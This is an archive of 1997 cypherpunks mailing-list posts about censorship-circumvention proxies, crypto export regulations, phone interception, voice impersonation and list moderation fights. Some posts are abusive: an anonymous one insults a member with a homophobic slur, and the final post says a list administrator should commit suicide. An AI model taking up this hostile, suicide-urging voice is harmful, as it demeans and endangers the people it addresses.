From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 12:08:00 -0800 (PST)
To: Marc <marc@deepsea.sys.web-uk.net>
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
Message-ID: <32E53982.3794@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Marc wrote:
> 
> This thing keeps saying im not on it but am!
> someone help me.

  It wouldn't hurt to provide details of what commands you are sending
to the majordomo and what you receive back from it.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:50:06 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
In-Reply-To: <40uV1D91w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121134815.9530B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > 	ADSL will be the best for movies... i can't wait .
> 
> What kind of movies?

	You're too young to watch these..:)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 10:48:02 -0800 (PST)
To: cypherpunks <declan@well.com>
Subject: Fighting the cybercensor.
Message-ID: <01BC07A2.1CDA0D80@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Mission:

Singapore and China are blocking certain net groups. I think
this is a bad thing, question is how can we stop it? The Web
was conceived as offering despots and dictators a choice 
between remaining in the dark ages and allowing freedom of
speech. Blocking and filtering schemes threaten this ideal.


Requirements:

A scheme which makes blocking of individual IP addresses 
impractical.


Architecture:

The Web allows for proxies such as provided by the CERN server
(and versions of Apache etc). A proxy server configured to
accept connections from domains enforcing blocking (china, 
Singapore etc) can serve as a means of circumventing the 
restrictions.

The problem then arises, how can the victims of censorship
find out about the holes in the curtain? I believe that it
would not be difficult to persuade large numbers of people to
mirror a list of sites maintained at a central location. The
blue ribbon campaign attracted a lot of interest on the same
topic. Activity that brought to light the political aspect
of Web censorship would help the domestic anti-CDA effort.


Considerations:
[i.e. areas needing brainstorming]

1) Copyright. Clearly copyright holders such as CNN etc would
need to be involved. Although proxies have long been a part of 
the Web and the scheme does not threaten their interests it would
be as well to get them on board at an early stage.

2) How can one prevent the proxies themselves being blocked? Some
ideas that come to mind:

2a) Only issue new sites gradually so that blocking requires
continuous updates.

2b) Use DHCP to change network addresses regularly.

2c) Some crypto hack I can't quite work out (hence the post to
cypher punks). I can phrase the challenge more compactly though.
We have two sets of opposed groups A and M. The A group wish to
establish a continued conversation with groups B and C. M is 
willing to permit communication with group B but not C. Whenever
M discovers that a member of group B is willing to act on behalf 
of group C, M transfers that member to the C group.

The problem is to keep A's channels of communication open despite
the efforts of M for very large group sizes. 

I'm not sure if this is a pure crypto challenge or a game theory
problem.


Comments? If people are willing to work on this I can provide 
some facilities and act as a media contact.


		Phill









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 21 Jan 1997 14:05:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NONCRYPTO] speaking of ADSL
Message-ID: <199701212204.OAA12740@well.com>
MIME-Version: 1.0
Content-Type: text/plain



 ADSL fans may be interested to know that Ameritech has a 200 unit
ADSL trial underway in Wheaton Il as I speak. It is going very
well. The units are currently running 1.5Mbs, (T-1) but are
scheduled to go to 3Mbs later this year.

Next year rumor is 6Mbs.

In an interesting example of "Brazil Effect", ADSL may first come
to older areas, because they are all direct copper.

If I could only get ADSL cards for my DMS100.  ;)

Brian

Network Premise engineer
Ameritech Data Center
Chicago

Extropian
Cypherpunk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 11:43:44 -0800 (PST)
To: "'Jeff Barber'" <jeffb@issl.atl.hp.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC07A9.10CE1520@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




>No, the real danger in weak crypto is that the poorly-informed will not
>think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
>have been embarrassed by this sort of casual interception, and the issue
>wouldn't have been raised in the public mind.  But our communications
>still wouldn't be safe from more determined attackers.  Brouhahas like
>these are good for the pro-(strong-)crypto agenda.

Not the way we've being going on, Zero coverage of the
crypto issue, zip, nada. That points to EFF and CDT not
being on the ball on the crypto issue.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 14:40:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212240.OAA13169@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:35 PM 1/20/97 -0800, Toto wrote:

>  In short, I believe that if the issue of free speech is not one of
>the central issues on the CypherPunks list, then the list is merely
>one more heartless, unfeeling extension of the Great Machine which
>is grinding inexorably forward toward the day when we will all have
>its numbers tattoo'd on our forearms.

That machine will be the SIXTH model made by a little firm on the thirteenth
floor of an office building.
It will operate on several thousand 6X86 processors.
It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
is completed.

And it won't be our forearms, we can cover those with sleeves.  It will be
our brow.  (please excuse the spelling).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 14:40:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701212240.OAA13179@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 PM 1/20/97 -0800, Lucky Green wrote:
>At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:

>>1. an html tag that indicates how much a link costs, probably in
>>the <a href="" cost=xx> type syntax
>
>This could be done, but is, IMHO, too inflexible.
>
Also, with tags, I could download the page with good old fashioned netscape
3.0 Gold, (possibly the last browser without this), allowing me to get the
entire page, neutralize the tag either by hand or with a simple app. and
view the site sans payment.  The blocks that I see to this are server push
upon receipt of cash and encrypted pages only accessable upon (automatic)
payment, not unlike pay-per-view satellite television.  The problem here is
the patent that was stirring up trouble here a few months ago.  The one that
Compuserve stood up against involving the use of this on computer networks.
I really think that a tag alone wouldn't be worth much, not without a CGI
script to verify it or a JAVA app. to run it.

Please correct me if I am in error.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 12:03:15 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: Re: Newt's phone calls
In-Reply-To: <01BC07A9.10CE1520@crecy.ai.mit.edu>
Message-ID: <199701212019.PAA13783@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> >No, the real danger in weak crypto is that the poorly-informed will not
> >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
> >have been embarrassed by this sort of casual interception, and the issue
> >wouldn't have been raised in the public mind.  But our communications
> >still wouldn't be safe from more determined attackers.  Brouhahas like
> >these are good for the pro-(strong-)crypto agenda.
> 
> Not the way we've being going on, Zero coverage of the
> crypto issue, zip, nada.

It was pointed out (in network newscasts, for example) that cellular
communications are completely unprotected and available for the taking
by anyone with a radio scanner.  I count this as good exposure even if
the alternatives weren't explicitly discussed.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212341.PAA13971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 AM 1/21/97 -0500, Jane Jefferson wrote:

>Governments, however, are made up of the very same people who claim
>to require these rights to privacy. Those people create, codify and 
>enforce the laws. The problem is that the people who find themselves in 
>this position of power are not always the most moral or concerned with 
>the best interest of the majority. 
>
>And fiendishly, it is the very chaos and anarchy and random chance 
>espoused by proponents of the cypherpunk philosophy that allows these
>people to gain this power, unchecked! 
> 
>Thus, the real problem ends up being not "how to control the government
>so that the government doesn't control us", but "how to deal with the 
>government when it goes into control-freak mode". That it will go into
>such a mode is a given -- based on human nature and history. This is
>a fundamental cycle of evolution and human behavior. We have to face
>the fact that humans are predators, and as long as we are, the 
>cycle of this behavior will continue. 

Also, remember, that those people willing to put up with the responsibility
of leadership are more often more extreme control freaks than the rest of
the population.  Persons asked on the street if they wanted to be president
of the United States have often said no way, yet every four years we have at
least two people willing to put up with the hassle in order to be the most
powerful man in the country.
What we need is a leader who is willing to put up with it for h[is/er]
people/cause, but has no desire to stay any longer than absolutely necessary.
Then we need another just like h[im/er] for the next term.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701212341.PAA13985@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/21/97 -0800, Toto wrote:
>Bill Campbell wrote:
>
>> I feel we at a *critical* crossroads in this debate, and one of the
>> more important voices has *very* effectively been silenced.
>
>  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
>worked, to date.
> 
I believe he is referring to silencing the list, not Vulis.  As long as the
members of this list are argueing over semantics, the government has one
less challenger in the fight over our rights.
Remember, one of the oldest tactics of war is to turn the enemy against itself.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701212341.PAA13998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:17 AM 1/21/97 -0500, Richard L. Field wrote:
...
>  I read the new regs as permitting:  (i) publication of source code in
>paper form (including publications reproduced on microfilm or on prerecorded
>phonograph records), or in the form of a motion picture film and soundtrack
>(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
>information "about" cryptography (section 744.9).  The export of other
>encryption materials (including the distribution to non-US persons of source
>or object code on diskettes) is restricted, even if the materials are
>publicly available "educational information" for release by instruction in
>catalog courses and associated teaching laboratories of academic
>institutions (section 734.9).
...
This has often reminded me of something that occurred around 1776.
I can't remember if it was before or after.
Remember how the colonies got sophisticated spinning gear?
I believe it was spinning gear.
Great Britain had a ban on the export of functional models, diagrams or
manufacturing instructions to one particular class of equipment.  This was
so that they could maintain the monopoly on cheaply made cloth, holding the
outlying colonies in line by maintaining a dependancy.
One man memorized the structure of one of these machines and then came to
the American shores, where he reproduced it workably.

I can't remember the name of the man or the machine, just that it was used
in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
remember the date.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 21 Jan 1997 17:33:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701212345.PAA17403@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a moderated list available which expunges only Dale?

The good Dr., though vicious, is really quite clever, though vicious.

Dale is only a bore. Only.

Hugs to all.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Mon, 20 Jan 1997 20:55:37 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: RE: Disseminating public-key crypto source code
Message-ID: <32E45B6B@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



>
>I've written a few Perl routines for public-key cryptography.  I'd
>like to freely disseminate the source code (starting with ElGamal) to
>as many people as I can,
>
>It's my understanding that there are two orthogonal restrictions:
>
>        1) ITAResque: I can't give code to non-U.S. citizens.
>        2) PKPesque: Using public-key crypto is an infringement,
>                     although disseminating/possessing the source
>                     code is not.
>
>While I'm sure these are oversimplifications, it would seem that I can
>release my source code over the Internet provided I install a simple
>verification mechanism (cf. MIT's PGP distribution) to ensure that
>only people claiming to be U.S. citizens have access privileges.
>
>Am I correct?  If so, why aren't more people doing this?
>

People do do this, but if you are using RSA or other methods patented in   
the US, you might want to look at them.  Is the concept of PK   
cryptography patented?

And of course you are familiar with Bernstein v DoS...   
 [http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/HTML/bernstein_961218  
_pressrel.html]

>The plaintiff in the case, Daniel J. Bernstein, Research Assistant   
Professor at >the University of Illinois at Chicago, developed an   
"encryption
>algorithm" (a recipe or set of instructions) that he wanted to publish   
in printed >journals as well as on the Internet. Bernstein sued the
>government, claiming that the government's requirements that he register   
as an >arms dealer and seek government permission before publication
>was a violation of his First Amendment right of free speech. This is   
required by >the Arms Export Control Act and its implementing   
regulations,
>the International Traffic in Arms Regulations.
>
>In the first phase of this litigation, the government argued that since   
Bernstein's >ideas were expressed, in part, in computer language (source
>code), they were not protected by the First Amendment. On April 15,   
1996, >Judge Patel rejected that argument and held for the first time   
that
>computer source code is protected speech for purposes of the First   
>Amendment.

...here Perl has the advantage of being a scripting language, and so by   
default comes as source, though if you had written the routines in a   
scripting langauge like Python, you might find it easier to convince a   
judge that it was in fact human readable...

 --
John "BTW IANAL" Lehmann




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Lehmann (SSASyd) <LEHMANNJ@saatchi.com.au>
Date: Mon, 20 Jan 1997 21:25:53 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: RE: Disseminating public-key crypto source code
Message-ID: <199701210525.VAA29122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>I've written a few Perl routines for public-key cryptography.  I'd
>like to freely disseminate the source code (starting with ElGamal) to
>as many people as I can,
>
>It's my understanding that there are two orthogonal restrictions:
>
>        1) ITAResque: I can't give code to non-U.S. citizens.
>        2) PKPesque: Using public-key crypto is an infringement,
>                     although disseminating/possessing the source
>                     code is not.
>
>While I'm sure these are oversimplifications, it would seem that I can
>release my source code over the Internet provided I install a simple
>verification mechanism (cf. MIT's PGP distribution) to ensure that
>only people claiming to be U.S. citizens have access privileges.
>
>Am I correct?  If so, why aren't more people doing this?
>

People do do this, but if you are using RSA or other methods patented in   
the US, you might want to look at them.  Is the concept of PK   
cryptography patented?

And of course you are familiar with Bernstein v DoS...   
 [http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/HTML/bernstein_961218  
_pressrel.html]

>The plaintiff in the case, Daniel J. Bernstein, Research Assistant   
Professor at >the University of Illinois at Chicago, developed an   
"encryption
>algorithm" (a recipe or set of instructions) that he wanted to publish   
in printed >journals as well as on the Internet. Bernstein sued the
>government, claiming that the government's requirements that he register   
as an >arms dealer and seek government permission before publication
>was a violation of his First Amendment right of free speech. This is   
required by >the Arms Export Control Act and its implementing   
regulations,
>the International Traffic in Arms Regulations.
>
>In the first phase of this litigation, the government argued that since   
Bernstein's >ideas were expressed, in part, in computer language (source
>code), they were not protected by the First Amendment. On April 15,   
1996, >Judge Patel rejected that argument and held for the first time   
that
>computer source code is protected speech for purposes of the First   
>Amendment.

...here Perl has the advantage of being a scripting language, and so by   
default comes as source, though if you had written the routines in a   
scripting langauge like Python, you might find it easier to convince a   
judge that it was in fact human readable...

 --
John "BTW IANAL" Lehmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 21 Jan 1997 17:40:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Accounts payable
Message-ID: <199701220018.QAA23035@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


As `homo' as he might be, Timmy May is not of 
the species `Homo Sapiens', but rather `Papio 
Mephitis'. Unlike human beings, he has not 
descended from apes --- yet.

    .oooO           Oooo.
    (   )   _   _   (   )
     \ (   / ) ( \   ) /
  ----\_)-/ (---) \-(_/----
         (   ) (   )
         oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <sales@quantcom.com>
Date: Tue, 21 Jan 1997 14:13:48 -0800 (PST)
To: "ctbsriptde@aol.com>
Subject: Customers For You!!
Message-ID: <21270787100381@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Mon, 20 Jan 1997 19:30:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <85381742124765@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've just heard from Duncan Campbell (who made the documentary), he'll send me
a copy of the script which can be put on the web.  I'll let people know when
it's available.  Copies of the tape can be ordered from his company:
 
  IPTV Ltd
  1 Meadowbank
  Edinburgh EH8 8JE
  Scotland, UK
 
  E-mail : duncan@gn.apc.org           Tel : +44 131 659 6566
 
Cost is \pounds 14.50 stg + any postage costs for outside UK - \pounds 5 will
cover it.
 
They have no NTSC versions in stock but can make them from the master. Provided
they get orders for at least 10, the cost will be the same.  They accept
payment in US$ cheques as well as \pounds stg cheques; no credit cards, sorry.
 
He is, in theory, on holiday for another month or so and only has intermittent
net connectivity, so please don't flood him with email just yet.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Mon, 20 Jan 1997 20:25:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <199701210425.UAA28205@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just heard from Duncan Campbell (who made the documentary), he'll send me
a copy of the script which can be put on the web.  I'll let people know when
it's available.  Copies of the tape can be ordered from his company:
 
  IPTV Ltd
  1 Meadowbank
  Edinburgh EH8 8JE
  Scotland, UK
 
  E-mail : duncan@gn.apc.org           Tel : +44 131 659 6566
 
Cost is \pounds 14.50 stg + any postage costs for outside UK - \pounds 5 will
cover it.
 
They have no NTSC versions in stock but can make them from the master. Provided
they get orders for at least 10, the cost will be the same.  They accept
payment in US$ cheques as well as \pounds stg cheques; no credit cards, sorry.
 
He is, in theory, on holiday for another month or so and only has intermittent
net connectivity, so please don't flood him with email just yet.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <mpj@csn.net>
Date: Tue, 21 Jan 1997 15:43:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: North American crypto archive
Message-ID: <Pine.3.89.9701211606.A22245-0100000@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


[I'm not on this list, so please CC: me on replies. Thanks!]
-----BEGIN PGP SIGNED MESSAGE-----



There is another change to the way I distribute strong
cryptographic software at my ftp site (ftp://ftp.csn.net/mpj/).
The strong cryptographic software is still in a hidden directory
with a name that changes periodically, but access is via a
password protected web form at http://www.sni.net/~mpj/na/ that
has the current hidden directory name expanded in it. To get
your very own user name and password, please fill out the form
at http://www.sni.net/~mpj/getcrypt.htm, and then watch your
email box.

This change is to comply with the new Export Administration
Regulation (EAR) changes that require "checking the destination
machine's address" to ensure that it is in the USA or Canada to
avoid being accused of exporting without a license.  My many
friends outside of North America need not feel left out,
however, as I have a nice listing of some good crypto sites that
they can legally access at http://www.sni.net/~mpj/freecryp.htm,
which probably points to places with most, if not all, of the
cryptographic programs that are archived at my site.

Although the hoops are not so hard to navigate at crypto sites
outside of North America, I hope that a well-connected site in
Colorado will provide faster downloads for people in the USA and
Canada. This ftp site is rather busy, so if your connection is
refused, please try back at a time that is less busy.

If you have some high quality, strong cryptographic software or
libraries that you would like me to host, please let me know at
mpj@csn.net. Space is limited, but I have room for a few more
things, like programs to take on the RSA challenge contests,
etc.

Peace to you.

Michael Paul Johnson     mpj@csn.net
PO Box 1151              http://www.sni.net/~mpj
Longmont CO 80502-1151
USA



-----BEGIN PGP SIGNATURE-----
Version: 2.7.1

iQEVAgUBMuVgv2+Iqt/O4EnZAQFCmQgAjgWszTVkWNE5PeYayjsIOTqGFODueqdx
gpRZbHhKspZTFlmPfxuB0p2wqflAcKrnC2QhJWJs2Je10vLKNE/4P8dif31I62zc
vDJPnpsuXZnjfC1Wo+iPozrpO+0oYb8k9KH/MZNTPDUWpeT2f35tkg2Kzg+eW/2Z
6jJnbLB/IfzZlTb4/bwF12wwUiNNbAR54hnxR1tMaa4wEA+Ti5eFEKtWobhn6hLH
HP5fyvSa/adYUj3z8F3As7k/ClcWkyd0ygUVsWXeMphD7nxEEH6Z2JW3OrvyRbjh
l//8Egaaz1IgZf+i11C/o/nIJWac0JBqRcSsDBaqMC01+RfN5zrJvw==
=TIwr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 21 Jan 1997 14:58:50 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: [NOISE] Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701212240.OAA13169@toad.com>
Message-ID: <199701212252.QAA01519@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> That machine will be the SIXTH model made by a little firm on the thirteenth
> floor of an office building.
> It will operate on several thousand 6X86 processors.
> It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
> is completed.
> 
> And it won't be our forearms, we can cover those with sleeves.  It will be
> our brow.  (please excuse the spelling).
> 

yeah, 6000 processors, all managed by MS-DOS. And 30,000 couriers alone.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@sctc.com>
Date: Tue, 21 Jan 1997 15:33:48 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701212311.RAA15832@shade.sctc.com>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz wrote:

: I was talking to someone recently about the feasibilty of keyword-scanning
: phone conversations....

My first "real" job in the computer industry was for a garage shop
doing speech recognition. We did a demo system in 1977 for Rome Labs
that did exactly what you're asking about: scanning a stream of
continuous speech over a telephone line looking for key words. It was
tolerably effective: I forget the success rate but it was above 90%.
But we were never asked to go past the research prototype.

We did it the "hard way" in that we were trying to solve the "talk to
the computer" problem which is harder than the "look for something
suspicious worth looking closer at" problem. I expect they were looking
for something to cut down on their false positives and perhaps we weren't
significantly better than what they were already doing.

: "Discrete Utterance Speech Recognition without Time Alignment", John Shore
: and David Burton, IEEE Trans.Information Theory, Vol.29, No.4 (July 1983),
:  p.473.
:  
:This generates a feature vector every 10-30ms from input speech which is
:compared to pre-generated reference sequences.  It also has references to many
:other papers covering the same area.

When I worked in the field "discrete utterance" was the buzz phrase
for talking with - pauses - between - each - word. Ecch. Our
commercial systems at the time (late '70s) used discrete speech
without time alignment since we could process 8 input channels
simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Rick.
smith@sctc.com            secure computing corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 21 Jan 1997 14:31:41 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <199701212026.MAA11273@toad.com>
Message-ID: <199701212223.RAA26149@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
| >No, the real danger in weak crypto is that the poorly-informed will not
| >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
| >have been embarrassed by this sort of casual interception, and the issue
| >wouldn't have been raised in the public mind.  But our communications
| >still wouldn't be safe from more determined attackers.  Brouhahas like
| >these are good for the pro-(strong-)crypto agenda.
| 
| Not the way we've being going on, Zero coverage of the
| crypto issue, zip, nada. That points to EFF and CDT not
| being on the ball on the crypto issue.

Was on the NYT op-ed page on Monday.  Something about scanners had a
few closing paragraphs about the ITARs with a comment from (David
Sobel)?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 21 Jan 1997 17:26:41 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <v02140b01af0a16a77c3a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>This is the approach taken by PGPfone also.  If the value of the
>>conversations was high (>$100,000?) passable voice imitation wouldn't
>>be that hard I suspect.
>
>I have long considered how easy it would be to use a sound card to modify
>the human voice to match within certain tolerances the voice of another.
>
>There are currently on the market, phones specifically designed to modify
>the voice of the user so that kids can answer as adults, women can answer as
>thier own protective boyfriends, bosses can answer anonymous calls as the
>secretary, etc...
>
>There are currently on the market keyboards that allow you to sample some
>real world sound and use it as a voice in your music, (the model I saw, a
>toy produced by Radio Shack, simply sped up or slowed down the sound to
>achieve this.)
>
>I have thought, if a machine were to take the incoming voice, analize
>(apologies for spelling) it to get a spectrum signature, a pattern that can
>be added or subtracted from another, and could then add the difference
>between that and the victims signature to the users voice, then real-time,
>on-the-fly con jobs would be easy.
>
>The only thing that the user would be responsible for would be the accent,
>and the day-to-day vocabulary of the victim.
>
>I told a friend about this and he confirmed that such was available if you
>knew where to look.

A friend of mine, an expert on signal processing, vocei systhesis and
recognition, showed me a journal article (think it was an IEEE) in 1990 of
some university researchers who had prototyped just such a device.  Never
followed up, but it seems entirely reasonable a practicle.  In fact I'm
surprised that Hollywood hasn't latched onto this in order to dub film
stars to different languages w/o loosing their recognizable voice
characteristics.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 15:29:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: CypherPunks Supports UCE Spammers!
In-Reply-To: <21270787100381@quantcom.com>
Message-ID: <32E56DE6.517A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


CV Communications wrote:
> The following message has been brought to you by Quantum Communications.
> If you would like advertising rates and information, send an email to info@quantcom.com

  I find it interesting that those who control the CypherPunks list
would go to great lengths to censor the free speech of list members,
and yet be perfectly willing to allow those who wish to view all
postings by list members to be subjected to bulk UCE bombing by
those outside the list.
  Am I just blowing smoke in suggesting that this may be just a
big FUCK YOU! to the list members who don't want to 'toe the
line' in regard to list member censorship?
  Is there 'anyone' on the list who 'wants' to receive UCE/Spam?
If there is, I would certainly like to see the posts indicating
their desire to receive it. I am sure that their desire can be
realized beyond their wildest dreams.

  I have no problem with John taking control of his own private
list, in order to control its content and future direction, but
I think that it is rude beyond belief to make great pretentions
of taking actions for 'the good of the list' and yet not lift a
single finger to prevent toad.com from aiding in the proliferation
of UCE/Spam.

  Other lists are able to block UCE/Spam, and make an effort to do
so, without using it as a 'tool', or an 'excuse', to censor the
content of their list by list subscribers.
  It is obvious that toad.com shows no interest in halting their
role as an accessory in the promotion of UCE/Spam, but has the
time and energy to censor their list members.
  The words 'pettiness' and 'bullshit' come to mind, when I view
the way that 'moderation' has been approached on this list.

  If you reply to this post, please do so politely.
  I'm a sensitive guy, and my feelings are easily hurt.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 21 Jan 1997 14:41:19 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <3.0.32.19970121174238.00687e7c@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/enriched

At 12:27 AM 1/21/97 -0600, you wrote:
:Jane Jefferson wrote:
:> 
:> The heart and soul of the problem is that "sin", "freedom", "good", 
:> and "evil" are abstract concepts which fluctuate from individual to 
:> individual.
:
:An excellent point, Jane. Worth remembering.
:
:	- Igor.

Not only from individual to individual.

Please consider the changes in the concepts of "sin", "freedom", "good", 
and "evil" which occur over time even within the same individual; to wit the on and off again love affair with our nation's past "enemies; individual responses to drug use especially alcohol; premarital sex (ok for me but not my daughter).

This constant flux within both society and individual makes creation and implementation of rules extremely difficult and hazardous.

Alec  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
Message-ID: <36kw1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marc <marc@deepsea.sys.web-uk.net> writes:

> 
> This thing keeps saying im not on it but am!
> someone help me.
> 

Sandy is totally incompetent.  S/he should commt suicide.

---

Dr.Dimitri Vulis KOTM
